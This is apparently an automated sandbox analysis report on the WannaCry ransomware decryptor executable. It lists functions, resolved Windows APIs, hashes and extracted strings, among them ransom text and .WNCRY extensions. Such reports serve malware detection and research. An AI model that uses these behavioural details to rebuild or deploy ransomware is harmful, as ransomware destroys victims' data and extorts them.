                                        • #641.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 004060BE
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #2414$#800$#609#654#765#795$#616#641#781
                                        • String ID: #
                                        • API String ID: 2377847243-1885708031
                                        • Opcode ID: 0807114d2ea519295407346a987a160cd163468119fa121364e43a1f09c9544f
                                        • Instruction ID: 200a364df958368678b01019567048f7f095356612ddb79f46c50176d87071e4
                                        • Opcode Fuzzy Hash: 0807114d2ea519295407346a987a160cd163468119fa121364e43a1f09c9544f
                                        • Instruction Fuzzy Hash: C4710A74008782CED305EF65C0453DAFFE4AFA5348F54484EE0DA57292DBB86299CBE6
                                        Function 004032C0 Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 114windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • #4710.MFC42 ref: 004032C5
                                        • CreateSolidBrush.GDI32(?), ref: 004032DC
                                        • #1641.MFC42(00000000), ref: 004032E9
                                        • CreateFontA.GDI32(00000010,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 00403316
                                        • #1641.MFC42(00000000), ref: 0040331F
                                        • #3092.MFC42(00000408,00000000), ref: 0040332B
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 0040334A
                                        • #3092.MFC42(00000409), ref: 00403353
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 0040336C
                                        • #3092.MFC42(00000002), ref: 00403372
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 0040338B
                                        • #3092.MFC42(0000040E), ref: 00403394
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 004033A9
                                        • SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 004033C2
                                        • #3996.MFC42(00000000,Path,00000000,000000FF,000000FF), ref: 004033D4
                                        • SendMessageA.USER32(?,0000101E,00000000,000001F4), ref: 004033EC
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: MessageSend$#3092$#1641Create$#3996#4710BrushFontSolid
                                        • String ID: Arial$Path
                                        • API String ID: 2448086372-1872211634
                                        • Opcode ID: 54367d22f402edf92e4263bf03619f0e020ba41dcf2f2cd55327d399c3bd1a02
                                        • Instruction ID: b960ea7794e319caf0268359e71fff6d42033abaa4d887be80586a06fbef81fd
                                        • Opcode Fuzzy Hash: 54367d22f402edf92e4263bf03619f0e020ba41dcf2f2cd55327d399c3bd1a02
                                        • Instruction Fuzzy Hash: 4831D5B13907107BE6249760CD83FAE6659BB84B10F20421EB756BF2D1CEF8AD41879C
                                        Function 00406AE0 Relevance: 29.8, APIs: 14, Strings: 3, Instructions: 78COMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #800$#537#924sprintf$#3874#540AttributesFile
                                        • String ID: English$m_%s.wnry$msg\
                                        • API String ID: 3713669620-4206458537
                                        • Opcode ID: f36c2dcfbfc0b931c038135b008570d0ce4cdd6941e9a910e96e45ef17743a79
                                        • Instruction ID: 3ad7a17867ea9436e9d42ea8b12d154e8c58dea708134770199309aae3637b36
                                        • Opcode Fuzzy Hash: f36c2dcfbfc0b931c038135b008570d0ce4cdd6941e9a910e96e45ef17743a79
                                        • Instruction Fuzzy Hash: 4A316170108341AEC324EB25D941FDE77A4BBA8714F404E1EF59AC32D1EB789558CAA7
                                        Function 00402C40 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 72libraryloaderCOMMON
                                        Download Yara Rule
                                        APIs
                                        • LoadLibraryA.KERNEL32(kernel32.dll), ref: 00402C63
                                        • GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 00402C80
                                        • GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00402C8D
                                        • GetProcAddress.KERNEL32(00000000,ReadFile), ref: 00402C9A
                                        • GetProcAddress.KERNEL32(00000000,MoveFileW), ref: 00402CA7
                                        • GetProcAddress.KERNEL32(00000000,MoveFileExW), ref: 00402CB4
                                        • GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 00402CC1
                                        • GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00402CCE
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: AddressProc$LibraryLoad
                                        • String ID: CloseHandle$CreateFileW$DeleteFileW$MoveFileExW$MoveFileW$ReadFile$WriteFile$kernel32.dll
                                        • API String ID: 2238633743-1294736154
                                        • Opcode ID: 468b1d099fd8a0684a95be66b91aae829347793d9c58d8a41e664e10bf98f029
                                        • Instruction ID: a2b5d8bb757b14b28e15fb80ad1863100e1319e91a413c2d323d0fcc62a15203
                                        • Opcode Fuzzy Hash: 468b1d099fd8a0684a95be66b91aae829347793d9c58d8a41e664e10bf98f029
                                        • Instruction Fuzzy Hash: AA110334B423216BD734AB25BD58FA72695EFD4701795003FA801E76E1D7B89C42CA5C
                                        Function 00405580 Relevance: 27.2, APIs: 18, Instructions: 187windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #5785CreateDeleteObjectRect$#1168#1640#2405#2860#323#470#640#755BrushClientCompatibleFillSolid
                                        • String ID:
                                        • API String ID: 1233696098-0
                                        • Opcode ID: 3787f29b2f3b6759b14921245bb0c5350f6533f71f74a9e78965702df0d7f065
                                        • Instruction ID: b627e9c1237585dd637a27707791d59f98fdace04f8481d3914a5fbe5096edf5
                                        • Opcode Fuzzy Hash: 3787f29b2f3b6759b14921245bb0c5350f6533f71f74a9e78965702df0d7f065
                                        • Instruction Fuzzy Hash: 057135716087419FC324DF69C984AABB7E9FB88704F004A2EF59AC3350DB74E845CB66
                                        Function 00408D70 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 257COMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: _ftol$CapsDevice$#2414$#1641#2754BrushCreateFillRectSolid
                                        • String ID: DZA
                                        • API String ID: 2487345631-3378329814
                                        • Opcode ID: 46f8ac59b565287c612820a18e91b1c7afa6038287a955736cfc91f47d65fae1
                                        • Instruction ID: dda82c2241e8f2351b86cfb5efeedf8da928c70a362fdc9ee550b763b14e0e54
                                        • Opcode Fuzzy Hash: 46f8ac59b565287c612820a18e91b1c7afa6038287a955736cfc91f47d65fae1
                                        • Instruction Fuzzy Hash: 2CA147716087418FC324DF25C984AAABBE1FFC8704F148A2EF599D7291DA39D845CF86
                                        Function 00401600 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 120windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • #2385.MFC42 ref: 00401653
                                        • #537.MFC42(Received response), ref: 00401634
                                          • Part of subcall function 00401970: #3092.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 00401997
                                          • Part of subcall function 00401970: #6199.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 0040199E
                                          • Part of subcall function 00401970: #800.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 004019AF
                                        • #537.MFC42(Succeed), ref: 0040166F
                                        • #2385.MFC42(?,?,?,Succeed), ref: 00401684
                                        • #537.MFC42(Sent request), ref: 0040169F
                                        • SendMessageA.USER32(?,00000402,00000023,?), ref: 004016BA
                                        • #2385.MFC42 ref: 004016D3
                                        • #537.MFC42(Connected), ref: 004016F5
                                        • SendMessageA.USER32(?,00000402,0000001E,?), ref: 00401710
                                        • #2385.MFC42 ref: 00401729
                                        • #2385.MFC42(?,?,?), ref: 0040174C
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #2385$#537$MessageSend$#3092#6199#800
                                        • String ID: Connected$Received response$Sent request$Succeed
                                        • API String ID: 3790904636-3692714192
                                        • Opcode ID: 77cbd13b205d5b60acded2d534e2f67ef19f14b7a7dcd1ce5799653af05fca91
                                        • Instruction ID: e9690c31fbc1831b63af9a5cc079f352e9ea826ed21b4fe1124c0ccffc889961
                                        • Opcode Fuzzy Hash: 77cbd13b205d5b60acded2d534e2f67ef19f14b7a7dcd1ce5799653af05fca91
                                        • Instruction Fuzzy Hash: A631E8B130430067C5209F1AD959EAF7B69EBD4BB4F10852FF149A33D1CA795C4582FA
                                        Function 00404DD0 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 89windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • #4710.MFC42 ref: 00404DD5
                                        • CreateSolidBrush.GDI32(?), ref: 00404DE9
                                        • #1641.MFC42(00000000), ref: 00404DF3
                                        • CreateFontA.GDI32(00000010,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 00404E1D
                                        • #1641.MFC42(00000000), ref: 00404E26
                                        • #3092.MFC42(00000403,00000000), ref: 00404E32
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 00404E51
                                        • #3092.MFC42(00000001), ref: 00404E57
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 00404E70
                                        • #3092.MFC42(00000002), ref: 00404E76
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 00404E88
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 00404E9F
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: MessageSend$#3092$#1641Create$#4710BrushFontSolid
                                        • String ID: Arial
                                        • API String ID: 1126252797-493054409
                                        • Opcode ID: 1de1fe04c409b87552040b023bf9e037168031db0fca800ba09ccd0f6b59f890
                                        • Instruction ID: f8dd995afa615cab71677879a74d6ff7c2e305333cbfc3da3be905e2a6067967
                                        • Opcode Fuzzy Hash: 1de1fe04c409b87552040b023bf9e037168031db0fca800ba09ccd0f6b59f890
                                        • Instruction Fuzzy Hash: CC21C6B13507107FE625A764DD86FAA2759BBC8B40F10011EB345AB2D1CAF5EC41879C
                                        Function 00406DC0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 103windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • SendMessageA.USER32(?,0000000E,00000000,00000000), ref: 00406DDC
                                        • #823.MFC42(00000001,?,?), ref: 00406DEC
                                        • SendMessageA.USER32(?,0000044B,00000000,?), ref: 00406E1D
                                        • _strnicmp.MSVCRT ref: 00406E3E
                                        • _strnicmp.MSVCRT ref: 00406E5A
                                        • SendMessageA.USER32(?,00000437,00000000,?), ref: 00406EA2
                                        • #6136.MFC42 ref: 00406EC4
                                        • #825.MFC42(?), ref: 00406ED7
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: MessageSend$_strnicmp$#6136#823#825
                                        • String ID: <http://$<https://$T
                                        • API String ID: 1228111698-1216084165
                                        • Opcode ID: a8745025101c1dadafff8754fd537557dcaff0dcf95e176bdf0ae332b77355fc
                                        • Instruction ID: 32e461136b03d60599108953de6477053a568cccd29e118696d71e5d9ed076ef
                                        • Opcode Fuzzy Hash: a8745025101c1dadafff8754fd537557dcaff0dcf95e176bdf0ae332b77355fc
                                        • Instruction Fuzzy Hash: 7E31D6B52043509BD320CF18CC41FABB7E4BB98704F044A3EF98AD7281E678D95987D9
                                        Function 00402560 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 81fileCOMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: File$Delete_wcsicmp$Movewcscatwcscpywcsrchr
                                        • String ID: .WNCRY$.WNCYR$.org
                                        • API String ID: 1016768320-4283512309
                                        • Opcode ID: ca6531dd56d56dd65b8b31a4033326b7c97dce23bd12cfbd58547a94a49b2b6f
                                        • Instruction ID: 8e688c7c8c2018b5eb76f9bfe5eaf8fc18d5300b1d9ff01e022ce9e0f1e53e02
                                        • Opcode Fuzzy Hash: ca6531dd56d56dd65b8b31a4033326b7c97dce23bd12cfbd58547a94a49b2b6f
                                        • Instruction Fuzzy Hash: 29219576240301ABD220DB15FE49BEB7799DBD4711F44483BF901A2280EB7DD90987BE
                                        Function 00413102 Relevance: 16.6, APIs: 11, Instructions: 111COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
                                        • String ID:
                                        • API String ID: 801014965-0
                                        • Opcode ID: 9f29f74fa0ca4091ce937db24ce742eca73e17089ce00c114469281514e7078a
                                        • Instruction ID: fcecf6e401754473f6225594f41014142e7d5ca2867d00c097f2044c16acc313
                                        • Opcode Fuzzy Hash: 9f29f74fa0ca4091ce937db24ce742eca73e17089ce00c114469281514e7078a
                                        • Instruction Fuzzy Hash: F9419F71940308EFCB20DFA4DC45AE97BB9EB09711B20016FF855972A1D7788A81CB6C
                                        Function 00404280 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 51windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • #6663.MFC42(mailto:,00000000,?), ref: 004042AC
                                        • GetParent.USER32(?), ref: 004042BB
                                        • #2864.MFC42(00000000), ref: 004042C2
                                        • SendMessageA.USER32(?,00001388,?,?), ref: 004042D5
                                        • #2379.MFC42 ref: 004042DD
                                          • Part of subcall function 00404530: #289.MFC42 ref: 0040455F
                                          • Part of subcall function 00404530: #5789.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004137C8), ref: 00404574
                                          • Part of subcall function 00404530: GetTextExtentPoint32A.GDI32(?,?,?,?), ref: 0040458D
                                          • Part of subcall function 00404530: #5789.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004045A6
                                          • Part of subcall function 00404530: #613.MFC42 ref: 004045BB
                                        • ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 004042F7
                                        • #2379.MFC42(?), ref: 004042FF
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #2379#5789$#2864#289#613#6663ExecuteExtentMessageParentPoint32SendShellText
                                        • String ID: mailto:$open
                                        • API String ID: 1144735033-2326261162
                                        • Opcode ID: 5760831a2f2f2ca95af973a0ffa58b3d14cd67dec606a23a37973cc095c9dbd7
                                        • Instruction ID: 92cf742add8d60ef6c93fe1e72e53283c618a6078d8cf76be364cef0d5edaefa
                                        • Opcode Fuzzy Hash: 5760831a2f2f2ca95af973a0ffa58b3d14cd67dec606a23a37973cc095c9dbd7
                                        • Instruction Fuzzy Hash: AC0175753003106BD624A761ED46FEF7369AFD4B55F40046FFA41A72C1EAB8A8428A6C
                                        Function 0040BAF0 Relevance: 15.3, APIs: 10, Instructions: 301stringsleepCOMMON
                                        Download Yara Rule
                                        APIs
                                        • strtok.MSVCRT ref: 0040BBA9
                                        • strtok.MSVCRT ref: 0040BC22
                                        • #825.MFC42(?,?), ref: 0040BCDD
                                        • GetTickCount.KERNEL32 ref: 0040BCEC
                                        • srand.MSVCRT ref: 0040BCF3
                                        • rand.MSVCRT ref: 0040BD09
                                        • #825.MFC42(00000000,00000000,?,?,?,00000000,00000000), ref: 0040BD9F
                                        • Sleep.KERNEL32(00000BB8,00000000,?,?,?,00000000,00000000), ref: 0040BDB5
                                        • #825.MFC42(?,?,?,?), ref: 0040BDED
                                          • Part of subcall function 0040C860: #825.MFC42(?,00000000,00000428,00422214,00000000,0040BDE8,?,?,?), ref: 0040C8B5
                                        • #825.MFC42(?), ref: 0040BE7A
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #825$strtok$CountSleepTickrandsrand
                                        • String ID:
                                        • API String ID: 1749417438-0
                                        • Opcode ID: 22053940df912021fb9a6cdb0f17ac6f6ca949f8e593908d0331f463cdce664a
                                        • Instruction ID: 15ce6157e9eadcb8372a8ba3d428bceb52ebc69e02ab62c17c692bc1e2f98a80
                                        • Opcode Fuzzy Hash: 22053940df912021fb9a6cdb0f17ac6f6ca949f8e593908d0331f463cdce664a
                                        • Instruction Fuzzy Hash: 48A102716082059BC724DF34C841AABB7D4EF95314F044A3EF99AA73D1EB78D908C79A
                                        Function 004038F0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 84windowCOMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00403EB0: #3092.MFC42(00000407,00000000,?,?,00403916,00000000), ref: 00403EBE
                                          • Part of subcall function 00403EB0: #2642.MFC42(00000407,00000000,?,?,00403916,00000000), ref: 00403EC5
                                          • Part of subcall function 00403EB0: #3092.MFC42(00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403ED2
                                          • Part of subcall function 00403EB0: #2642.MFC42(00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403ED9
                                          • Part of subcall function 00403EB0: #3092.MFC42(00000002,00000000,00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403EE3
                                          • Part of subcall function 00403EB0: #2642.MFC42(00000002,00000000,00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403EEA
                                        • SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0040392C
                                        • SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00403946
                                        • sprintf.MSVCRT ref: 0040397A
                                        • #1200.MFC42(All your files have been decrypted!,00000040,00000000,?,00000000,?), ref: 004039C8
                                          • Part of subcall function 00403AF0: fopen.MSVCRT ref: 00403B17
                                          • Part of subcall function 00403A20: GetLogicalDrives.KERNEL32 ref: 00403A35
                                          • Part of subcall function 00403A20: GetDriveTypeW.KERNEL32 ref: 00403A7A
                                          • Part of subcall function 00403A20: GetDiskFreeSpaceExW.KERNEL32(0000005C,?,0000005C,?), ref: 00403A95
                                        • CloseHandle.KERNEL32(?,00000001), ref: 004039F1
                                        Strings
                                        • Pay now, if you want to decrypt ALL your files!, xrefs: 004039A7
                                        • All your files have been decrypted!, xrefs: 004039C3
                                        • %08X.dky, xrefs: 00403969
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #2642#3092$MessageSend$#1200CloseDiskDriveDrivesFreeHandleLogicalSpaceTypefopensprintf
                                        • String ID: %08X.dky$All your files have been decrypted!$Pay now, if you want to decrypt ALL your files!
                                        • API String ID: 139182656-2046724789
                                        • Opcode ID: 1dbeb97ef8e3bee0cd3efc7c8e00841dbdade8396809c06b0445c09d242267da
                                        • Instruction ID: fac117d1ea4493994a32f15f907d1e0ff38d66192023d423f75a73c990ecb755
                                        • Opcode Fuzzy Hash: 1dbeb97ef8e3bee0cd3efc7c8e00841dbdade8396809c06b0445c09d242267da
